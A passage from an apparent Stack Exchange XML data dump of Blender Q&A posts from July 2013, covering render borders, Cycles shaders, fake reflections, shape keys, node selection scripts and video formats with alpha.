converge faster by not rendering other parts)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned by sambler, the &lt;em&gt;Camera Only&lt;/em&gt; setting does not seem to make any difference (bug?)&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Rendered Border:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt; or &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt; in the Camera view will define a region in the camera that will be rendered while the rest of the camera will not (if &lt;em&gt;Render settings &gt; Border&lt;/em&gt; is not already enabled, doing this will enable it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jhlry.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VCmdD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the rendered image only rendered the border selection and left the rest as black (or transparent, if you have your render settings set to RGBA in a format that supports transparency)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Crop&lt;/em&gt; option &lt;img src=&quot;https://i.stack.imgur.com/Ucu5P.png&quot; alt=&quot;enter image description here&quot;&gt; crops the black part off automatically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5ZmD1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note that disabling the Border setting in &lt;em&gt;Render Settings &gt; Dimensions&lt;/em&gt; or in &lt;em&gt;3D view &gt; Properties &gt; View&lt;/em&gt; will not erase the border selections)&lt;br&gt;&#xA;Pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt; will clear all the borders and disable the border setting in &lt;em&gt;Render settings&lt;/em&gt; and the &lt;em&gt;Properties panel&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="1245" LastEditDate="2018-01-28T19:29:29.333" LastActivityDate="2018-01-28T19:29:29.333" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2024" PostTypeId="1" CreationDate="2013-07-28T20:07:56.507" Score="2" ViewCount="233" Body="&lt;p&gt;In an attempt to re-create &lt;a href=&quot;https://developer.valvesoftware.com/wiki/Half_Lambert&quot; rel=&quot;nofollow&quot;&gt;Valve's Half-Lambert effect&lt;/a&gt; in cycles, I found out it is basically mathematically impossible at the moment, without patching cycles.  Does anyone know/have heard/rumored/what-have-you anything about more closures, or even better, custom closures?   &lt;/p&gt;&#xA;" OwnerUserId="79" LastEditorUserId="12" LastEditDate="2013-08-09T00:50:16.887" LastActivityDate="2013-08-09T07:40:58.140" Title="Any word on custom closures, or new ones?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;shaders&gt;&lt;osl&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2013-08-09T14:04:11.800" ContentLicense="CC BY-SA 3.0" />
  <row Id="2025" PostTypeId="2" ParentId="2022" CreationDate="2013-07-28T20:23:42.807" Score="7" Body="&lt;p&gt;You can animate the 'influence' value on each of the constraints you want to turn off. You can either animate the values off over a series of frames to fade the constraint's effects gradually or immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one thing to note is that when the object is no longer under the influence of the constraints it will return to the position it was at &lt;em&gt;before&lt;/em&gt; it was constrained and will not stay at it's current position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To counter this you can either reposition the object after the constraints are off or animate the 'influence' of some new constraints &lt;em&gt;on&lt;/em&gt; at the same time as the old constraints are turning &lt;em&gt;off&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-02-11T11:04:18.457" LastActivityDate="2015-02-11T11:04:18.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2027" PostTypeId="2" ParentId="2014" CreationDate="2013-07-29T02:31:41.780" Score="0" Body="&lt;p&gt;From my point of view, this is the answer: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set &lt;em&gt;Viewport Shading&lt;/em&gt; to &lt;em&gt;Rendered,&lt;/em&gt; if you don't, then &lt;em&gt;Render Border,&lt;/em&gt; and the &lt;em&gt;Render Border&lt;/em&gt; check box don't function properly, and also, the &lt;em&gt;Camera Only&lt;/em&gt; check box doesn't work at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has been an unintentional trick question (due to my ignorance). I had no idea that the &lt;em&gt;Viewport Shading&lt;/em&gt; &gt; &lt;em&gt;Rendered&lt;/em&gt; worked so well (or even existed for that matter)! I have used the &lt;em&gt;Solid&lt;/em&gt; setting for so long now, ignoring the other settings.&lt;/p&gt;&#xA;" OwnerUserId="470" LastActivityDate="2013-07-29T02:31:41.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2028" PostTypeId="2" ParentId="1915" CreationDate="2013-07-29T03:08:16.027" Score="3" Body="&lt;p&gt;Enabling both reflection and refraction enables new light paths that are not rendered when only one of them is enabled. Instead of just reflection + reflection or refraction + refraction it now also has to render reflection + refraction and refraction + reflection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, at each depth Blender will trace both a reflection and a refraction ray, which can make the number of rays to trace go up quickly. For ray depth 1, 2, 3, 4, .. you get 2, 4, 8, 16, .. rays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles on the other hand will randomly pick between tracing either a reflection or a refraction ray on each bounce. This avoids the quick increase in number of rays for a single sample, but it also means each individual sample contains more noise.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-07-29T03:08:16.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2029" PostTypeId="2" ParentId="2001" CreationDate="2013-07-29T04:06:10.097" Score="2" Body="&lt;p&gt;After import, try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V8LdY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The object should appear in the center of your grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: The default Grid Floor (visible grid) is merely a 2D representation of a very small part of the actual grid, centered at the zero point (X=0, Y=0, Z=0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you &lt;em&gt;Shift S&lt;/em&gt; &gt; &lt;em&gt;Selection to Grid&lt;/em&gt;, the selected object's origin ('center' point) will snap to the nearest grid division (a position in 3D space where all three (X,Y and Z) grid lines intersect). The object geometry (the visible object), will move with the origin, maintaining its position relative to the origin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, the origin is normally in the center of an object. It is the rotation point and location, displayed here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Scggh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The geometry, and origin, of an object can be moved independently of each other, and this can be confusing because the origin gives you the location of the object, but the visible object (geometry) can be in a different location!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, the imported .obj objects were not near the Grid Floor and Blender had no information about an origin, so it placed origins for all the objects at the zero point (which happens to be one of the points where all three grid lines intersect). And then, of course, with &lt;em&gt;Shift S&lt;/em&gt; &gt; &lt;em&gt;Selection to Grid&lt;/em&gt;, nothing happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ideasman42 suggested: '&lt;em&gt;Origin to Geometry&lt;/em&gt;, then snap the objects to the grid', which works - but they were still not where you wanted them because they would have snapped to the nearest grid division. At this point, instead of &lt;em&gt;Shift S&lt;/em&gt; &gt; &lt;em&gt;Selection to Grid&lt;/em&gt;, you could have used &lt;em&gt;Shift S&lt;/em&gt; &gt; &lt;em&gt;Selection to Cursor&lt;/em&gt; (assuming the 3D Cursor was in the center).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to what you said, I thought you only had one object, and so I suggested you use: &lt;em&gt;Origin&lt;/em&gt; &gt; &lt;em&gt;Geometry to Origin&lt;/em&gt;, which would have worked perfectly but…  :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this clarifies things a bit and isn't too confusing.&lt;/p&gt;&#xA;" OwnerUserId="470" LastEditorUserId="470" LastEditDate="2013-07-30T04:26:29.123" LastActivityDate="2013-07-30T04:26:29.123" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2030" PostTypeId="1" AcceptedAnswerId="2037" CreationDate="2013-07-29T06:05:44.100" Score="10" ViewCount="17306" Body="&lt;p&gt;Is it possible to fake reflections per object in Cycles? If so, how? (I don't mean one image to appear as background and another to appear in all reflections). I mean using an image on the object mapped to reflection coordinates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scenario: I am using an Environment texture in the world shader settings. I have multiple objects each with reflective surfaces, one of which is using the Glass shader, I'd like the glass to reflect as it normally does with the addition of another image. To be able to blend the actual scene (objects+environment maps) with an entirely different environment reflection that isn't part of the scene.&lt;/p&gt;&#xA;" OwnerUserId="1016" LastEditorUserId="1016" LastEditDate="2013-07-29T14:57:09.587" LastActivityDate="2019-05-14T13:30:43.197" Title="Fake reflections in Cycles" Tags="&lt;cycles-render-engine&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2031" PostTypeId="2" ParentId="2030" CreationDate="2013-07-29T09:58:46.543" Score="2" Body="&lt;p&gt;You could render each object in the scene separately, then combine them in the compositor.&#xA;For each render set the enviroment to the desired map.&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-07-29T09:58:46.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2032" PostTypeId="2" ParentId="2030" CreationDate="2013-07-29T12:53:19.837" Score="8" Body="&lt;p&gt;First you need to render an environment map of the reflected scene:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Put the camera in the center of the scene&lt;/li&gt;&#xA;&lt;li&gt;Change it to Panoramic and set the type to Equirectangular&lt;/li&gt;&#xA;&lt;li&gt;Render and save image&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To use this image in an object material:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add an Emission node&lt;/li&gt;&#xA;&lt;li&gt;Plug an Environment Texture node into its color&lt;/li&gt;&#xA;&lt;li&gt;Plug Reflection texture coordinates into the texture node&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-07-29T12:53:19.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2033" PostTypeId="2" ParentId="2020" CreationDate="2013-07-29T13:19:23.663" Score="2" Body="&lt;p&gt;Having two meshes with the same topology (The meshes must have the same number of vertices for this to work) you can easily use one mesh to define a shape key of the second mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First select the mesh that you wish to be the shape key, then shift-select the target mesh. In the mesh properties click the little down arrow next to the Shape Keys list and select 'Join as Shapes'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V3mCQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have multiple meshes that each get applied as shape keys in the one step, each separate object will create it's own shape key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also wish to copy a shape key from one object to another with the Transfer Shape Key.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-07-29T13:19:23.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2034" PostTypeId="1" AcceptedAnswerId="2161" CreationDate="2013-07-29T15:23:56.307" Score="19" ViewCount="3952" Body="&lt;p&gt;Now that 2.68 &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Shaders#Toon&quot; rel=&quot;nofollow noreferrer&quot;&gt;has introduced a toon bdsf&lt;/a&gt;, is it possible to recreate the &lt;a href=&quot;https://www.cs.northwestern.edu/~ago820/SIG98/abstract.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gooch shader&lt;/a&gt;? Insight, links, or a nodes screenshot would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://www.cs.northwestern.edu/~ago820/SIG98/paper/jpgs/part_colored_TONE.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="240" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:43.987" LastActivityDate="2016-08-06T21:16:16.423" Title="Can Cycles do a Gooch Shader?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="2035" PostTypeId="1" CreationDate="2013-07-29T15:30:20.943" Score="5" ViewCount="453" Body="&lt;p&gt;In blender internal, there's seems to be a problem when using the defocus node with images as plane.  The Z-pass doesn't see the alpha of the image.  How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="1017" LastEditorUserId="12" LastEditDate="2013-07-30T00:29:20.153" LastActivityDate="2013-07-30T10:08:05.727" Title="BI how to use the Defocus node with images as plane" Tags="&lt;blender-internal-render-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2036" PostTypeId="2" ParentId="1745" CreationDate="2013-07-29T16:07:14.180" Score="5" Body="&lt;p&gt;It's possible to override the defaults like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bpy.props import IntProperty&#xA;from bpy.types import (&#xA;    MESH_OT_primitive_circle_add,&#xA;    MESH_OT_primitive_cylinder_add,&#xA;    MESH_OT_primitive_uv_sphere_add,&#xA;)&#xA;&#xA;MESH_OT_primitive_circle_add.vertices = IntProperty(name=&quot;Vertices&quot;, default=16)&#xA;MESH_OT_primitive_cylinder_add.vertices = IntProperty(name=&quot;Vertices&quot;, default=16)&#xA;MESH_OT_primitive_uv_sphere_add.segments = IntProperty(name=&quot;Segments&quot;, default=16)&#xA;MESH_OT_primitive_uv_sphere_add.ring_count = IntProperty(name=&quot;Rings&quot;, default=8)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save in &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Introduction/Installing_Blender/DirectoryLayout&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;scripts/startup/&lt;/code&gt;&lt;/a&gt; with a &lt;code&gt;.py&lt;/code&gt; file extension.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-07-29T16:07:14.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2037" PostTypeId="2" ParentId="2030" CreationDate="2013-07-29T19:15:51.753" Score="9" Body="&lt;p&gt;Expanding on brecht's answer, here is a simple node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UhCCn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;A glossy node is used instead of an Emission node to get the &quot;real&quot; reflections in addition to the image. To do this with a Glass node, &lt;a href=&quot;https://blender.stackexchange.com/questions/1812/how-can-the-glass-shader-be-imitated-using-only-other-shaders&quot;&gt;you will have to separate the glossy and refraction.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2013-07-31T00:17:11.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2038" PostTypeId="5" CreationDate="2013-07-29T19:34:40.163" Score="0" Body="&lt;p&gt;From the &lt;a href=&quot;http://code.google.com/p/openshadinglanguage/wiki/OSL_Introduction&quot; rel=&quot;nofollow&quot;&gt;OSL Introduction page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Open Shading Language (OSL) is a small but rich language for programmable shading in advanced renderers and other applications, ideal for describing materials, lights, displacement, and pattern generation.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;OSL was developed by Sony Pictures Imageworks for use in its in-house renderer used for feature film animation and visual effects. The language specification was developed with input by other visual effects and animation studios who also wish to use it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/openshadinglanguage/&quot; rel=&quot;nofollow&quot;&gt;Project page&lt;/a&gt; where you can find the &lt;a href=&quot;https://github.com/imageworks/OpenShadingLanguage/blob/master/src/doc/osl-languagespec.pdf&quot; rel=&quot;nofollow&quot;&gt;language specification&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.openshading.com/&quot; rel=&quot;nofollow&quot;&gt;Blender manual&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.openshading.com/&quot; rel=&quot;nofollow&quot;&gt;OpenShading tutorials&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-08-08T23:12:47.490" LastActivityDate="2013-08-08T23:12:47.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2039" PostTypeId="4" CreationDate="2013-07-29T19:34:40.163" Score="0" Body="OSL (Open Shading Language) is an open source language designed for creating materials, lights, etc. The ability to add custom OSL scripts for rendering with Cycles was added to blender in 2.65" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-29T19:54:23.137" LastActivityDate="2013-07-29T19:54:23.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2040" PostTypeId="1" CreationDate="2013-07-29T19:58:57.370" Score="6" ViewCount="2823" Body="&lt;p&gt;I've downloaded the largest size of the Blue Marble Next Generation textures from NASA. I was hoping to be able to do nice closeups of an earth scene, as well as good real displacement, but Blender crashes immediately upon opening large textures. Are there any way to use larger texures (32K and up?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2014-10-30T11:11:35.893" Title="Way to use large textures in Blender without crashing?" Tags="&lt;texturing&gt;&lt;image&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2041" PostTypeId="1" AcceptedAnswerId="2110" CreationDate="2013-07-29T20:53:44.543" Score="13" ViewCount="1283" Body="&lt;p&gt;Since I download from time to time example files from blogs, wikis etc. I would like to know how I can avoid execution of malicious code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it enough to disable the &lt;a href=&quot;https://blender.stackexchange.com/questions/1903/after-updating-to-blender-2-68-driver-scripts-are-no-longer-automatically-excecu&quot;&gt;autoexec switch&lt;/a&gt; and see what is in the text editor?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2017-03-15T22:04:47.077" Title="How to prevent malicious code execution loading blend files?" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2042" PostTypeId="1" AcceptedAnswerId="2045" CreationDate="2013-07-29T23:26:59.380" Score="3" ViewCount="41" Body="&lt;p&gt;I downloaded an .blend file that has a lot of objects listed in the outliner, I wonder how can I find which nodes have logic bricks attached, because in the logic editor there seems to be no way to do that.&lt;/p&gt;&#xA;" OwnerUserId="761" LastActivityDate="2013-07-30T02:05:03.963" Title="How to easily identify which nodes have logic bricks attached to them in the outliner" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2043" PostTypeId="1" AcceptedAnswerId="2049" CreationDate="2013-07-29T23:29:10.047" Score="4" ViewCount="125" Body="&lt;p&gt;I can easily find and edit all image assets in the image editor, but I was wondering how can it be done with sound assets.&lt;/p&gt;&#xA;" OwnerUserId="761" LastEditorUserId="20" LastEditDate="2013-07-30T16:05:34.367" LastActivityDate="2015-06-14T16:46:10.773" Title="How to quickly find sound assets" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2044" PostTypeId="1" AcceptedAnswerId="2046" CreationDate="2013-07-30T01:40:27.267" Score="5" ViewCount="1176" Body="&lt;p&gt;Is it possible to select all connected or unconnected nodes in the node editor with a keyboard shortcut or operation?&lt;br&gt;&#xA;(I thought maybe &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; like in Edit mode, but apparently not)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I just missing something?&lt;br&gt;&#xA;Or is there no way to do this without doing it manually?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-28T19:29:43.850" LastActivityDate="2013-08-29T00:17:27.810" Title="Is it possible to select all connected or unconnected nodes?" Tags="&lt;interface&gt;&lt;shortcut&gt;&lt;node-editor&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2045" PostTypeId="2" ParentId="2042" CreationDate="2013-07-30T02:05:03.963" Score="2" Body="&lt;p&gt;You can run the following in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Text_editor&quot; rel=&quot;nofollow&quot;&gt;Text Editor&lt;/a&gt; to select all objects in the scene with a logicbrick.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.ops.object.select_all(action=&quot;DESELECT&quot;)&#xA;logicbricks = (&quot;controllers&quot;, &quot;sensors&quot;, &quot;actuators&quot;)&#xA;for obj in bpy.context.scene.objects:&#xA;    if any(len(getattr(obj.game, brick_type)) for brick_type in logicbricks):&#xA;        obj.select = True&#xA;bpy.context.scene.objects.active = obj&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-07-30T02:05:03.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2046" PostTypeId="2" ParentId="2044" CreationDate="2013-07-30T02:24:39.003" Score="5" Body="&lt;p&gt;You can use &lt;em&gt;Select Linked To&lt;/em&gt; &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; and &lt;em&gt;Select Linked From&lt;/em&gt; &lt;kbd&gt;L&lt;/kbd&gt; repeatedly till you have all connected nodes selected. Then you can Inverse selection &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;I&lt;/kbd&gt; to select the unlinked nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can use the following script that will add a &lt;em&gt;Select &gt; Select Linked&lt;/em&gt; menu option.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from itertools import chain&#xA;import bpy&#xA;&#xA;def get_linked(node, processed=None):&#xA;    if processed is None:&#xA;        processed = []&#xA;    processed.append(node)&#xA;    for socket in chain(node.inputs, node.outputs):&#xA;        for link in socket.links:&#xA;            target = link.from_node if node == link.to_node else link.to_node&#xA;            if target not in processed:&#xA;                get_linked(target, processed)&#xA;    return processed&#xA;&#xA;class NODE_OT_SelectLinked(bpy.types.Operator):&#xA;    bl_description=&quot;Select all nodes linked to the active node&quot;&#xA;    bl_idname = &quot;node.select_linked&quot;&#xA;    bl_label = &quot;Select Linked Nodes&quot;&#xA;    bl_options = {&quot;REGISTER&quot;, &quot;UNDO&quot;}&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.active_node&#xA;&#xA;    def execute(self, context):&#xA;        for node in get_linked(context.active_node):&#xA;            node.select = True&#xA;        return {&quot;FINISHED&quot;}&#xA;&#xA;def menu(self, context):&#xA;    self.layout.operator(&quot;node.select_linked&quot;, text=&quot;Select Linked&quot;)&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(NODE_OT_SelectLinked)&#xA;    bpy.types.NODE_MT_select.append(menu)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(NODE_OT_SelectLinked)&#xA;    bpy.types.NODE_MT_select.remove(menu)&#xA;&#xA;register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;i&gt;To auto load: save the above in &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Introduction/Installing_Blender/DirectoryLayout&quot; rel=&quot;nofollow&quot;&gt;scripts/startup/&lt;/a&gt; with a .py file extension.&lt;/i&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-08-29T00:17:27.810" LastActivityDate="2013-08-29T00:17:27.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2047" PostTypeId="2" ParentId="2035" CreationDate="2013-07-30T10:08:05.727" Score="1" Body="&lt;p&gt;Well, as you put, the internal render doesn't see the alpha of the image it can only see the alpha of the object and this can't be changed. This is a common limitation of the internal renderer's depth of field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An often used workaround is to model with geometry the outline of whatever the texture is so that blender can see the alpha. For example if the texture was a leaf you would have to model the outline of the leaf before applying the texture to it. Of course, this might be time consuming for a complex texture but unfortunately that's one of the few workarounds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative method is to render the plane with the texture onto a separate render layer and manually blur it in the compositor using a standard blur node and then layer it back onto the background.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2013-07-30T10:08:05.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2048" PostTypeId="2" ParentId="1984" CreationDate="2013-07-30T11:35:34.603" Score="1" Body="&lt;p&gt;The Voronoi Texture used by the displacement modifier is generated differently since it can also be used in the Blender Internal renderer.&#xA;The node you speak of is the Cycles texture node, a completely different engine and thus completely different parameters and code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But yeah, I'd like to see some more procedural textures ported from BI to Cycles, particularly this Voronoi texture and the Cloud texture (which has many different algorithms to choose from, whereas Cycle's Noise texture is a simple Perlin noise if I remember right)&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2013-07-30T11:35:34.603" CommentCount="4" CommunityOwnedDate="2013-07-30T11:35:34.603" ContentLicense="CC BY-SA 3.0" />
  <row Id="2049" PostTypeId="2" ParentId="2043" CreationDate="2013-07-30T11:37:27.923" Score="2" Body="&lt;p&gt;You can see all the sounds that are being used by the blend file by using the 'Outliner'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the display mode of the 'Outliner' by changing the dropdown box from 'All Scenes' to either 'Sequence', 'Blend File' or 'Data Blocks'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aen1Y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'Blend file' and 'Datablocks' each have a 'Sounds' section which lists &lt;em&gt;all&lt;/em&gt; the sound files that are in use in the current blend file. The 'Sequence' view will &lt;em&gt;only&lt;/em&gt; show audio files in use in the Video Sequence Editor and not in other sections of blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To further filter the results in 'Sequence' view for just audio and not video or images type the extension of the audio files, in this case '.mp3' into the search box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u20AC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each of these views only &lt;em&gt;lists&lt;/em&gt; audio files that have been loaded into blender and not a direct way to &lt;em&gt;edit&lt;/em&gt; the audio file.  &lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-06-14T16:46:10.773" LastActivityDate="2015-06-14T16:46:10.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2050" PostTypeId="1" AcceptedAnswerId="2053" CreationDate="2013-07-30T14:18:07.447" Score="31" ViewCount="49823" Body="&lt;p&gt;Does anyone know if there are any &lt;b&gt;video&lt;/b&gt; formats (besides the HUGE uncompressed avis) that you can render in that maintain the alpha channel? (i.e. for after FX etc.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used to use quicktime, but that's no longer an option.  I know you can render in png. or other image formats, but video is significantly smaller, and I often work on machines with less space &amp;amp; resources. &lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2019-07-16T00:53:20.907" Title="Any Video formats that render with Alpha Channel?" Tags="&lt;rendering&gt;&lt;transparency&gt;&lt;file-format&gt;" AnswerCount="9" CommentCount="1" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
